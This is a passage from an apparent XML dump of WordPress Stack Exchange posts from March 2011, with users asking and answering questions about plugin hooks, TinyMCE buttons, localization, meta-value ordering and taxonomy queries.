that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T12:52:45.023" LastActivityDate="2011-03-24T12:52:45.023" Title="Has anyone effectively integrated GD star rating and Cube Points?" Tags="&lt;plugin-gd-star-rating&gt;&lt;plugin-cubepoints&gt;" AnswerCount="1" />
  <row Id="12799" PostTypeId="2" ParentId="12798" CreationDate="2011-03-23T08:12:42.547" Score="2" ViewCount="" Body="&lt;p&gt;From &lt;a href=&quot;http://whyy.org/cms/wp-content/plugins/gd-star-rating/info/filters.html&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;, you can see that &lt;code&gt;gdsr_vote_rating_article&lt;/code&gt; is the hook you need - it gets called when a post rating is saved. &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-23T08:12:42.547" CommentCount="1" />
  <row Id="12800" PostTypeId="2" ParentId="12789" CreationDate="2011-03-23T08:17:39.380" Score="1" ViewCount="" Body="&lt;p&gt;First 2 results on googling for &quot;gd star rating sort posts by rating' are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pramudita.com/how-to-sort-post-by-gd-star-rating.html&quot; rel=&quot;nofollow&quot;&gt;How to Sort Post by Gd Star Rating&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gdstarrating.com/2009/07/03/how-to-reorder-posts/&quot; rel=&quot;nofollow&quot;&gt;How to reorder posts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-23T08:17:39.380" />
  <row Id="12801" PostTypeId="2" ParentId="12601" CreationDate="2011-03-23T08:22:10.360" Score="0" ViewCount="" Body="&lt;p&gt;o.k. the problem is based on a conflict in some of the filters of the tinyMCE, maybe only when it's a network setup (i don't know exactly which filters are conflicted) but i managed to solved it by:&#xA;1. installing tinyMCE Advanced: i know this plugin isn't supposed to work in the network setup, but hey! it did the trick. some thing in the way its configured ran over the problem of the different editing buttons for different admins that i've mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;and for adding a custom but permanent editing buttons (for all users, without exception) i coded this in my &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function mce_btns1($orig) {&#xA;return array('bold', 'italic', 'underline', 'bullist', 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'link', 'unlink');&#xA;}&#xA;add_filter( 'mce_buttons_1', 'mce_btns1', 999 );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function mce_btns2($orig) {&#xA;return array('fontselect', 'fontsizeselect', 'forecolor', 'backcolor');&#xA;}&#xA;add_filter( 'mce_buttons_2', 'mce_btns2', 999 );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function mce_btns3($orig) {&#xA;return array(null);&#xA;}&#xA;add_filter( 'mce_buttons_3', 'mce_btns3', 999 );&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;this ran over the default and user-specific configuration of the tinyMCE for all users in the network. that's it.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-23T08:22:10.360" />
  <row Id="12802" PostTypeId="2" ParentId="11356" CreationDate="2011-03-23T09:32:37.323" Score="1" ViewCount="" Body="&lt;p&gt;I had the same problem and checked the $content in the add_filter() function. There you can see what happen with the shortcodes. I ended up with an easy plugin, that removes p and br tags on shortcodes:&#xA;&lt;a href=&quot;http://www.johannheyne.de/wordpress/shortcode-empty-paragraph-fix/&quot; rel=&quot;nofollow&quot;&gt;http://www.johannheyne.de/wordpress/shortcode-empty-paragraph-fix/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4152" LastActivityDate="2011-03-23T09:32:37.323" />
  <row Id="12803" PostTypeId="2" ParentId="12177" CreationDate="2011-03-23T09:40:15.007" Score="0" ViewCount="" Body="&lt;p&gt;I had the same problem and checked the $content in the add_filter() function. There you can see what happen with the shortcodes. I ended up with an easy plugin, that removes silly p and br tags on shortcodes:&#xA;&lt;a href=&quot;http://www.johannheyne.de/wordpress/shortcode-empty-paragraph-fix/&quot; rel=&quot;nofollow&quot;&gt;http://www.johannheyne.de/wordpress/shortcode-empty-paragraph-fix/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4152" LastActivityDate="2011-03-23T09:40:15.007" />
  <row Id="12804" PostTypeId="2" ParentId="11717" CreationDate="2011-03-23T09:40:23.353" Score="0" ViewCount="" Body="&lt;p&gt;The hack given below has been tested with WordPress 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;code&gt;user-edit.php&lt;/code&gt;, find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;th&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;&amp;lt;?php _e('E-mail'); ?&amp;gt; &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('(required)'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&amp;lt;?php echo esc_attr($profileuser-&amp;gt;user_email) ?&amp;gt;&quot; class=&quot;regular-text&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;th&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;&amp;lt;?php _e('E-mail'); ?&amp;gt; &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&amp;lt;?php echo esc_attr($profileuser-&amp;gt;user_email) ?&amp;gt;&quot; class=&quot;regular-text&quot; /&amp;gt;&amp;lt;?php echo esc_attr($profileuser-&amp;gt;user_email) ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is just a workaround that visually removes the ability to change email addresses, not actually disable the feature.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="3080" LastEditorDisplayName="" LastEditDate="2011-06-22T21:25:52.863" LastActivityDate="2011-06-22T21:25:52.863" />
  <row Id="12805" PostTypeId="1" CreationDate="2011-03-23T09:43:53.050" Score="0" ViewCount="144" Body="&lt;p&gt;I have a simple pop up form code written in javascript. It is in js/script.js folder inside themes folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using jquery ajax method to communicate with a php file to store data in db. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The php file is in themes folder. Also i would like to use the wordpress functions in that php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The display of pop up and form works fine. But when i submit it, i get 404 error. I am confused as to how to tell wordpress to include this php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THanks&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: I could make the jquery code work by giving the full URL to the php file. However, now i want to be able to use the wp functins in that php file.&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="2964" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-23T15:35:52.620" LastActivityDate="2011-03-23T15:35:52.620" Title="Calling a php file from a javascript file in wordpress" Tags="&lt;3.1&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="12806" PostTypeId="1" AcceptedAnswerId="12825" CreationDate="2011-03-23T10:31:41.387" Score="0" ViewCount="86" Body="&lt;p&gt;when using &quot;insert video&quot; from the post-editor - i'm only getting a normal hyperlink to the video - is it possible to display a flash-videoplayer instead?&#xA;is there a default videoplayer in wordpress or will i need a plugin?&#xA;in that case - which plugin is recommended?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-23T13:57:52.243" Title="Wordpress 3.1: Videoplayer implemented?" Tags="&lt;videos&gt;&lt;flash&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="12807" PostTypeId="1" AcceptedAnswerId="12832" CreationDate="2011-03-23T10:47:01.520" Score="0" ViewCount="111" Body="&lt;p&gt;I'm creating a new Wordpress template and I have a question:&#xA;I've added a custom Option Page to my new template (you can see what I'm doing &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12679/add-a-preview-to-a-wordpress-control-panel/12699#12699&quot;&gt;Here&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12627/modify-css-via-theme-control-panel&quot;&gt;Here&lt;/a&gt;) but now I would like to add a new function.&#xA;Do you know Si Contact Form? In this plugin the end user can download a backup of all the settings and Upload it on a different website.&#xA;I would like to be able to add the same function into my new option page.&#xA;I know how to backup my settings logging to phpMyAdmin but sometimes end-user can't login to phpMyAdmin or simply it's better that he/she doesn't login to phpMyAdmin :-).&#xA;Have you got any solution to this?&#xA;Actually all my custom functions are named:&#xA;'appaqua_&lt;em&gt;zona1c';'appaqua&lt;/em&gt;_zona1x' and so on... my theme shortname is appaqua.&#xA;Please by kind with me, I'm not a professional programmer and I'm really sorry if I used wrong words to explain what I need.&#xA;Thank you very much to all!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastActivityDate="2011-03-23T14:20:18.507" Title="How to add an export function to a custom Option Theme Page" Tags="&lt;functions&gt;&lt;theme-options&gt;&lt;export&gt;&lt;phpmyadmin&gt;&lt;wp-settings.php&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="12808" PostTypeId="1" AcceptedAnswerId="12839" CreationDate="2011-03-23T11:10:53.037" Score="0" ViewCount="256" Body="&lt;p&gt;I'm a bit confused about &lt;code&gt;wp_list_pages()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I have 3 top level pages (with no parent) and each of them have some sub-pages: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;page 1 [sub-pages: 1.1, 1.2, 1.3]; &lt;/li&gt;&#xA;&lt;li&gt;page 2 [sub-pages: 2.1, 2.2, 2.3]; &lt;/li&gt;&#xA;&lt;li&gt;page 3 [sub-pages: 3.1, 3.2]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is to display top level pages 2 and 3 with all their subpages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_pages( 'sort_column=menu_order&amp;amp;depth=0&amp;amp;title_li=&amp;amp;include=2,3' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried so specify the depth as depth=2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_pages( 'sort_column=menu_order&amp;amp;depth=2&amp;amp;title_li=&amp;amp;include=2,3' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the top level pages 2 and 3 are displayed with no subpages. I'm not sure if I understood the function description correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I achive such functionality when sub-pages can be added/deleted at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-03-23T16:31:08.540" Title="confused about wp_list_pages() function - how to display selected top pages with all their subpages" Tags="&lt;navigation&gt;&lt;pages&gt;&lt;list&gt;&lt;menus&gt;&lt;include&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="12809" PostTypeId="1" AcceptedAnswerId="12813" CreationDate="2011-03-23T11:27:19.370" Score="1" ViewCount="87" Body="&lt;p&gt;i'm using the default &quot;insert video&quot; function from wordpress (which inserts a normal hyperlink to the video only) and would like to replace that link with something else like a video player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question:&#xA;what's the regex pattern for grabbing all links inside a post?&#xA;thx&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-23T13:20:07.330" Title="Retrieving all Links from a Post?" Tags="&lt;links&gt;&lt;regex&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12810" PostTypeId="1" AcceptedAnswerId="12909" CreationDate="2011-03-23T11:27:29.003" Score="1" ViewCount="195" Body="&lt;p&gt;i've just built my first plugin for wp, and even if it's not a great &quot;code poetry&quot; ;) it works as it should.&#xA;It's a plugin that transform the default wp gallery using the GalleryView 3.0 jquery plugin (&lt;a href=&quot;http://spaceforaname.com/galleryview&quot; rel=&quot;nofollow&quot;&gt;http://spaceforaname.com/galleryview&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing i'm not able to do is localization.&#xA;Localization for this plugin in means translating the admin interface, where someone can configure the jquery plugin options to change the aspect of the resulting gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to follow the millions of tutorials present on the web, read a lot of posts about this issue on forums and followed the guidelinees of codex... but still with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i've done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Every text line is inside a gettext function ( &lt;code&gt;__&lt;/code&gt; and &lt;code&gt;_e&lt;/code&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Using poedit i created the &lt;code&gt;.po&lt;/code&gt; and &lt;code&gt;.mo&lt;/code&gt; file scanning the plugin directory (everythig went ok), then i added translations on that file.&lt;/li&gt;&#xA;&lt;li&gt;I named the &lt;code&gt;.po&lt;/code&gt; file like that &lt;code&gt;NAME-OF-THE-PLUGIN-it_IT.po&lt;/code&gt; (the &lt;code&gt;.mo&lt;/code&gt; file was generated with the same name)&lt;/li&gt;&#xA;&lt;li&gt;I've put the translations files inside the plugin folder &lt;code&gt;/languages&lt;/code&gt; (name of the folder is the same of the plugin and of the translations files)&lt;/li&gt;&#xA;&lt;li&gt;Then i've tried to add the &lt;code&gt;load_plugin_textdomain&lt;/code&gt; function inside the main plugin file. I've tried because there's no way to get it working.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The only thing on which i'm not sure is the fact that the plugin i've created is not under a class + constructor funcions... just because i'm still not so good in coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put the &lt;code&gt;load_plugin_textdomain&lt;/code&gt; inside an &lt;code&gt;add_action&lt;/code&gt; on init, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'gw_load_translation_file');&#xA;&#xA;function gw_load_translation_file() {&#xA;    // relative path to WP_PLUGIN_DIR where the translation files will sit:&#xA;    $plugin_path = dirname(plugin_basename( __FILE__ ) .'/languages' );&#xA;    load_plugin_textdomain( 'gallery-view-for-wordpress', false, $plugin_path );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The lines above are not inside a logic, they are just in the main plugin file, like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of my use of gettext functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;&amp;lt;?php _e('Panel Options', 'gallery-view-for-wordpress') ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What did i not understand?&lt;/p&gt;&#xA;" OwnerUserId="4155" LastEditorUserId="4155" LastEditorDisplayName="" LastEditDate="2011-04-19T11:22:09.770" LastActivityDate="2011-04-19T11:22:09.770" Title="Plugin Localization" Tags="&lt;plugin-development&gt;&lt;translation&gt;&lt;l10n&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="12811" PostTypeId="1" CreationDate="2011-03-23T11:31:12.990" Score="0" ViewCount="327" Body="&lt;p&gt;I would like to get ordered all my posts with multiple cutom fields (WordPress 3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exemple, I've 2 custom couple meta_key/meta_value :&#xA;&quot; order_submenuexpositions / numeric &quot;&#xA;&quot; display_submenuexpositions / boolean &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried like this, but the result it's not orderer by meta_value from &quot;order_submenuexpositions&quot; meta_key :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_posts&#xA;LEFT JOIN wp_postmeta wpostmetaOrder ON ( wp_posts.ID = wpostmetaOrder.post_id AND wpostmetaOrder.meta_key = 'order_submenuexpositions' )&#xA;LEFT JOIN wp_postmeta ON wp_posts.ID = wp_postmeta.post_id&#xA;LEFT JOIN wp_term_relationships wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)&#xA;LEFT JOIN wp_term_taxonomy wp_term_taxonomy ON (wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id)&#xA;WHERE wp_postmeta.meta_key = 'display_submenuexpositions'&#xA;AND wp_postmeta.meta_value = 'true'&#xA;AND wp_posts.post_status = 'publish'&#xA;AND wp_posts.post_type = 'post'&#xA;AND wp_term_taxonomy.taxonomy = 'category'&#xA;ORDER BY wpostmetaOrder.meta_value ASC,wp_postmeta.meta_value ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i do it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you !&lt;/p&gt;&#xA;" OwnerUserId="4156" LastActivityDate="2011-03-23T14:44:52.610" Title="Order query by meta_value with multiple custom fields" Tags="&lt;custom-field&gt;&lt;query-posts&gt;&lt;wp-query&gt;&lt;sql&gt;" AnswerCount="1" />
  <row Id="12812" PostTypeId="1" CreationDate="2011-03-23T12:00:00.740" Score="1" ViewCount="510" Body="&lt;p&gt;I have a registered  Taxonomy called Types, which is hierarchical and works.&#xA;An example of categories will be&#xA;Hotel in UK&#xA;--1 star&#xA;--2 star&#xA;--3 star&#xA;Hotel in Spain&#xA;--1 star&#xA;--2 star&#xA;--3 star&#xA;etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I m having trouble finding the right way to display my pages (custom post Hotel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the code to display hotels by taxonomy only if they exist&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE CODE&#xA;&lt;pre&gt;&lt;code&gt;&#xA; $taxonomy2 = 'accomodation-type';&#xA; $termsacc = get_terms(&quot;accomodation-type&quot;,array('orderby' =&gt; 'slug', 'order' =&gt; 'ASC'));&#xA;   foreach ($termsacc as $termaccomodation) {&#xA;   //Here I loop through my tax acc-type&#xA;   //and check if there is any post by the country $termcountry-&gt;name (getting this value higher)&#xA;$query = new WP_Query(array('post_type' =&gt; 'accomodation', 'orderby'=&gt; $termaccomodation-&gt;name,'order' =&gt; 'DESC','accomodation-type' =&gt;$termaccomodation-&gt;name, 'country' =&gt;$termcountry-&gt;name,'posts_per_page' =&gt; 48 ));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and loop....&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2597" LastEditorUserId="2597" LastEditorDisplayName="" LastEditDate="2011-03-23T13:32:55.793" LastActivityDate="2011-08-21T05:32:54.440" Title="Display Post by taxonomy and taxonomy child if exist" Tags="&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="12813" PostTypeId="2" ParentId="12809" CreationDate="2011-03-23T12:27:12.797" Score="5" ViewCount="" Body="&lt;p&gt;I'll answer your question below, but have you looked at using embeds? Look here for more information: &lt;a href=&quot;http://codex.wordpress.org/Embeds&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Embeds&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest regex for this would look something like &lt;code&gt;http\:\/\/.*\b&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of it in action:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-php prettyprint-override&quot;&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$file = 'test.txt';&#xA;&#xA;$fp = fopen($file, 'r');&#xA;&#xA;$contents = fread($fp, filesize($file));&#xA;&#xA;$matches = array();&#xA;&#xA;preg_match_all('/http\:\/\/.*\b/', $contents, $matches);&#xA;&#xA;print_r($matches);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the file I reference looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;http://wordpress.stackexchange.com/questions/12809/retrieving-all-links-from-a-post&#xA;&#xA;http://www.youtube.com/&#xA;&#xA;http://ca3.php.net/manual/en/function.preg-match.php&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the return looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Array&#xA;(&#xA;    [0] =&gt; Array&#xA;        (&#xA;            [0] =&gt; http://wordpress.stackexchange.com/questions/12809/retrieving-all-links-from-a-post&#xA;            [1] =&gt; http://www.youtube.com&#xA;            [2] =&gt; http://ca3.php.net/manual/en/function.preg-match.php&#xA;        )&#xA;&#xA;)&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-23T13:20:07.330" LastActivityDate="2011-03-23T13:20:07.330" CommentCount="4" />
  <row Id="12814" PostTypeId="1" AcceptedAnswerId="12858" CreationDate="2011-03-23T12:40:48.547" Score="3" ViewCount="830" Body="&lt;p&gt;Got a custom field called &lt;code&gt;startDate&lt;/code&gt; but its only on a few events. I was wondering if it isn't set for a post I could use &lt;code&gt;post_date&lt;/code&gt; to generate the posts list?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// if meta_key _postmeta.startDate isn't set get the rest by posts.post_date&#xA;&#xA;query_posts(&#xA;    array(&#xA;        array(&#xA;            'posts_per_page' =&amp;gt; 10,&#xA;            'meta_key' =&amp;gt; 'startDate',&#xA;            'meta_value' =&amp;gt; date('Y-m-d'),&#xA;            'meta_compare' =&amp;gt; '&amp;lt;',&#xA;            'orderby' =&amp;gt; 'meta_value',&#xA;            'order' =&amp;gt; 'ASC'&#xA;        ), &#xA;        array(&#xA;            'meta_key' =&amp;gt; 'post_date',&#xA;            'meta_value' =&amp;gt; date('Y-m-d'),&#xA;            'meta_compare' =&amp;gt; '&amp;lt;'&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T15:06:27.320" LastActivityDate="2011-05-10T15:06:27.320" Title="Order by meta value or date?" Tags="&lt;query-posts&gt;&lt;post-meta&gt;&lt;date-time&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="1" />
  <row Id="12815" PostTypeId="2" ParentId="12812" CreationDate="2011-03-23T12:44:39.310" Score="0" ViewCount="" Body="&lt;p&gt;I would use in this case two custom taxonomies:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hotel-country&lt;/li&gt;&#xA;&lt;li&gt;stars&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;both none-hierarchical then your query would be as simple as for example hotel in uk with 2 stars:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'hotel',&#xA;    'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'hotel-country',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array( 'uk' ),&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'stars',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array( '3-stars' ),&#xA;        )&#xA;    )&#xA;);&#xA;$query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using your existing setup you can once again use &lt;code&gt;'tax_query'&lt;/code&gt; but you will need to now the child-taxonomy id, say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UK&#xA;  3-stars - term_id = 32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then your query and args should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'hotel',&#xA;    'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'Types',&#xA;            'field' =&amp;gt; 'id',&#xA;            'terms' =&amp;gt; array( '32' ),&#xA;            'operator' =&amp;gt; 'IN',&#xA;        )&#xA;    )&#xA;);&#xA;$query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update 2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you are already in the UK page then change you code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy2 = 'accomodation-type';&#xA;//the current page term id, (UK,JAPAN...)&#xA;$current_term_id = get_query_var('term_id');&#xA;//array of child terms IDs. &#xA;$termchildren = get_term_children($current_term_id,$taxonomy2); &#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'accomodation',&#xA;    'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'accomodation-type',&#xA;            'field' =&amp;gt; 'id',&#xA;            'terms' =&amp;gt; $termchildren,&#xA;            'operator' =&amp;gt; 'IN',&#xA;        )&#xA;    )&#xA;);&#xA;$query( $args );&#xA;//loop &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will get all posts of accomodation that have a accomodation-type child term of UK.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-23T14:41:41.533" LastActivityDate="2011-03-23T14:41:41.533" CommentCount="11" />
  <row Id="12816" PostTypeId="1" AcceptedAnswerId="12819" CreationDate="2011-03-23T12:49:45.313" Score="0" ViewCount="129" Body="&lt;p&gt;actually I'm running a wordpress MU website and each website has its own &quot;life&quot; but now I would like to show last X posts of each blog of my network on the homepage.&#xA;I know how to do it using Feeds and a plugin named FeedPress but this is a &quot;dirty&quot; way to do it. Is there anyone who knows how to do it?&#xA;Please Step by Step instructions I'm not a Noob but.... not even a programmer.&#xA;Thank you to all!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastActivityDate="2011-03-23T13:12:17.300" Title="How to show last post of each website of a MU wordpress in HomePage" Tags="&lt;posts&gt;&lt;multisite&gt;&lt;homepage&gt;&lt;showcase&gt;&lt;wp-settings.php&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12817" PostTypeId="2" ParentId="8743" CreationDate="2011-03-23T12:49:47.277" Score="0" ViewCount="" Body="&lt;p&gt;Thanks for this. It is also possible these days to apply a filter to the Title prompt using enter_title_here. Enjoy!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter ('enter_title_here', your_filter);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you'd expect.&lt;/p&gt;&#xA;" OwnerUserId="4159" LastActivityDate="2011-03-23T12:49:47.277" />
  <row Id="12818" PostTypeId="2" ParentId="12811" CreationDate="2011-03-23T12:50:08.980" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;meta_query&lt;/code&gt; to get only posts with &lt;code&gt;display_submenuexpositions = true&lt;/code&gt; and order them by &lt;code&gt;order_submenuexpositions&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'meta_key' =&amp;gt; 'order_submenuexpositions',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'display_submenuexpositions',&#xA;            'value' =&amp;gt; 'true',&#xA;            'compare' =&amp;gt; 'LIKE'&#xA;        )&#xA;    )&#xA;);&#xA;$query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-23T14:44:52.610" LastActivityDate="2011-03-23T14:44:52.610" CommentCount="1" />
